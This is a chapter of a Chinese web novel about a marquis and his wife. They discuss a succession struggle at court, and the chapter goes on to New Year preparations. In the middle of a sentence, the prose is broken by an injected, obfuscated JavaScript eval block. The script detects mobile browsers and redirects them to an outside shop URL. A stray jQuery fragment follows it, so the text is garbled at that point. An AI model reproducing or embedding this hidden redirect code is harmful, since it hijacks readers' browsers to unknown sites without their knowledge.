78. 日常
作品:《韫色过浓》 他低头看着怀里的人,她正眨着眼盘算着去哪儿玩,全然不知他心里翻涌着这些事。
“好,”他轻声道,“都听你的。”
霍抉绕过床位,在另一边躺下。
姚知韫自然而然地窝进了他的怀里,双脚熟门熟路地塞进他腿间,汲取一丝暖意。
霍抉也不介意,将她整个人抱进怀里,她的膝盖总是凉凉的,还总是喜欢穿着宽大的裙子,赤脚跑来跑去,他想着,明日要交代管家将屋里的地龙再烧热一些。
两人有一搭没一搭地聊着家常。
“二十三那日我休沐,在家陪你祭灶,年节礼就让常嬷嬷准备,要送到谁家的,我拟好单子给你,你吩咐青木去送便好。”
他语气微微一顿,“若是户部侍郎孔方送来了年节礼,你便收下。”
姚知韫本来已经有些迷糊的脑子瞬间清醒起来。
孔方?德妃娘娘的兄长?
她记得,霍抉告知皇上会赐婚后,是德妃娘娘召见的她。那日宫中相见,德妃待她极温和,言谈间不似寻常宫中之人,倒像是哪家书香门第的闺秀,清冷疏淡,让人生不出半分防备。
后来霍抉提过,德妃是选秀进的宫,娘家不显赫,只有一个哥哥在户部任职。她性子淡,不争不抢,意外怀了五皇子,封了嫔位。五皇子六岁那年,才晋了妃位。
因着这份清冷的性子,她与皇上的关系不远不近——不算得宠,却也没有被冷落。倒是十二皇子聪明伶俐,很得皇上喜欢。
皇上为了给德妃做脸,便将她的哥哥提到了户部侍郎的位置上。孔方是正经进士出身,对于户部事务也颇为精通,这些年干得有模有样。只是上头压着崔维明,一直难以施展。
霍抉如何又和德妃扯上了关系?
孔方一个不得势的户部右侍郎,又如何能让霍抉上心,怕是为着身后的德妃,而德妃膝下的五皇子。
姚知韫想到这里,“腾”的一下坐了起来。
“你——。”
霍抉一把将她抱回来,“没事,有我呢。”伸手将后背的被子压实,“你说说你,明明怕冷,却还穿着单衣赤脚跑来跑去,以后不许了。”
姚知韫却只是拽着他的衣襟,定定地看着他。
霍抉无奈又宠溺地看了她一眼,只能开口。
“太子这些年,心思都用在了对付二皇子身上,为了打压二皇子,已经到了不择手段的地步,若他坐在那个位置上,定然是会对二皇子党反扑,首当其冲的便是崔家。”
姚知韫听懂了,崔家虽是权臣,可崔家背后,是百年清誉,是世家之首,是读书人心中的旗帜。
“崔家汲汲营营不假,可毕竟是世家之首,在读书人心中分量不轻,若崔家倒了,大晋的江山——。”
她抬眼看他,目光带着试探,“那二皇子——”
“不行。”
未等到姚知韫把话说完,便被霍抉冷声打断,整个人瞬间绷紧,周身透出一股凛冽的寒意。
姚知韫身子也跟着一僵,他究竟与二皇子有什么不死不休之仇?
霍抉感觉到她的僵直,缓缓放松身子,将她抱紧,却没有说话,他要如何告诉她二皇子上辈子对她做的那些事情,有可能在这一世再来一次,即便很多事情有了改变,可他依然不能冒这个险。
赵鹤轩,必须死。
“可五皇子才八岁。”姚知韫没有追问,反倒是问起了五皇子,八岁,在她的意识里还是个小学生,便要卷入皇权之争吗?自古以来,权力之争便是你死我活,没有退路可言。
“好好教导,再有老臣辅政。”霍抉语气轻松,好像说着一件稀松平常之事。
老臣辅政?姚知韫将他这段时间以来做的事情联想起来,倏然瞪大了眼睛,“你是说——王家?”
“可王家不是不入仕吗?”
话问出口,她没有等霍抉回答,瞬间也就明白了,不入仕,不代表不能教书。教导未来的天子,不是入仕,却是比入仕更尊荣的事。
“所以,孙大人便成了桥梁?”
霍抉没有回答,闭上了眼睛,“夫人,该睡觉了。”
姚知韫没有追问,他不说便是默认了,他是下了多大的一盘棋呀,从回京那日起,不,也许从离京那日起,便步步为营,处处算计——朝堂、边关、世家、皇子,无一不在他的棋局之中。
或许,她也是他棋盘上的一枚棋子,可不知道为何她总觉得即便如此,他也不会弃她于不顾,反倒是对他多了几分心疼,他心中该有多少恨?
她不由自主地往他怀里又挪了挪,不留一丝缝隙,抱紧他,闭上了眼睛。
过了许久,待到她呼吸渐渐均匀,霍抉才睁开眼睛,低头看着怀中的人。
她太聪明了,总是能从三言两语间窥得重点。
他确有扶持五皇子之心,若是太子德行无碍,他自然乐见其成,可太子这些年愈发不像话,手段比起二皇子有过之而无不及,更是与赵虢狼狈为奸。
这些,他倒是无所谓。
可他不该把主意打到了姚知韫的身上。
为了笼络朝臣,太子银钱上一掷千金,将苏家当作钱袋子,苏家为了拜托商籍,也乐意给太子挥霍。
可若是扯上她,他便不得不管了。
只是如今三皇子因母妃只是一个宫女,被养得懦弱无能,四皇子自然是二皇子的人。
剩下一个五皇子,他暗中观察过他,虽只有八岁,聪明,懂事,懂得敛其锋芒,最重要的是他还有以为极其聪明的母妃。
深宫之中,能活下来已属不易,还能生下五皇子保其长大,十年如一日地让皇上不厌弃,还能位列四妃之一,可见手段不容小觑。
他已经放出了诱饵,那就要看这位德妃娘娘有没有这份心思了。
更鼓敲过两声,霍抉便也闭上眼睛,抱紧怀中睡得安然的人,心满意足地睡去,成婚以来,他已鲜少噩梦,以后也会越来越好,这样的好日子,他不能也不允许任何人破坏。
腊月二十三,霍抉休沐在家,两人一早便祭了灶。
往年姚府也祭灶,但多半是风叔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392530|195694||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
操持,她依例祭拜一拜便是,今年不同,她成婚了,又是婚后第一次祭灶,自然马虎不得,常嬷嬷糖瓜黍糕摆得整整齐齐,又听着她絮絮叨叨的念着啥,姚知韫觉得新奇又有趣。
霍抉休沐的时间多半是陪她的,暖棚里的玉米长势喜人,她便想着是不是在年前把土豆种上,上次种玉米时,地也翻过了,随时可以下种。
之后的几日,年礼也陆续送出了门,给昌平伯府的六色礼是青木亲自送去的,给邕王府的是常嬷嬷打点,自然也不会有任何差池,两家按姚知韫的吩咐,多添上一篮子新鲜蔬菜,种在院子里的萝卜下了一场雪后,味道更是甘甜。
邕王妃甚是喜欢,回的节礼也是用了心。
孔方的年礼自然也在其列,倒也没什么特别,端端正正的四色礼盒。
接下来的几日,府上便开始忙碌起来,成婚后霍抉又添了下人,多在外院服侍,交给管家林叔安排,林叔原是霍抉父亲的亲随,父亲去世后,他便一直跟着霍抉,从嘉兰到京城,忠心耿耿,偌大的侯府交到他的手上,霍抉也很放心,侯府的守卫是霍抉调来的亲卫,由青峰负责,各司其职,姚知韫也无需插手。
内院则是霍抉亲自挑的人,也都信得过,常嬷嬷管着内室,元婆婆掌着灶上,小桃和芙蓉便贴身随侍,其他丫鬟则由九娘的管着,都是踏实可靠之人。
人一下子多起来,姚知韫便吩咐常嬷嬷,一人做一套新衣服,新年新气象,大家都高高兴兴地受了。
二十六日,厨房开始蒸馒头,热气腾腾的,满院子都是麦香。
二十七、常嬷嬷带人赶集,年货备得齐齐整整——祭祖用的三牲、香烛纸钱,鸡鸭鱼肉拉了一大车,都放进姚知韫教的法子做的冰桶里,码在北檐下。干果蜜饯、各色点心也装了几大盒。想着霍抉免不了要应酬,还备了三十坛屠苏酒。
至于炭火之类的,自然交给霍抉去办。
腊肉香肠、熏鱼火腿,姚知韫也不藏私,一一教给了元婆婆,元婆婆学得认真,频频称赞,说还是第一次遇到如此会做吃食的主母。
二十八、常嬷嬷戴着剪了窗花贴上,红艳艳的,衬着雪白的窗纸,煞是好看,院子里瞬间有了过年的感觉。
这一日,姚知韫到归云楼,给他们放了假,初十开工,又让人抬出早已备好的红封,每人两个月的俸禄,说是“年终奖”,众人头一回听说这词,却都明白是实打实的赏钱。
不止如此,每人还领了半扇猪肉,和两袋面粉,足够一家老小过个好年,一时间满堂欢喜,谢恩声此起彼伏,遇到如此好的主家,哪里还有人不忠心做事的。
沈知节站在一旁,看着这一幕,心里暗暗点头。
这位侯夫人,年纪不大,做事却极有章法。她懂得让利,懂得体恤下人,更懂得什么时候该给什么——不早不晚,不多不少,恰好让人心里暖,又不会觉得是施舍。
笼络人心四个字,她做得不着痕迹。
二十九日,姚知韫亲自下厨,和元婆婆一起蒸了黏豆包。
转眼便是除夕了。

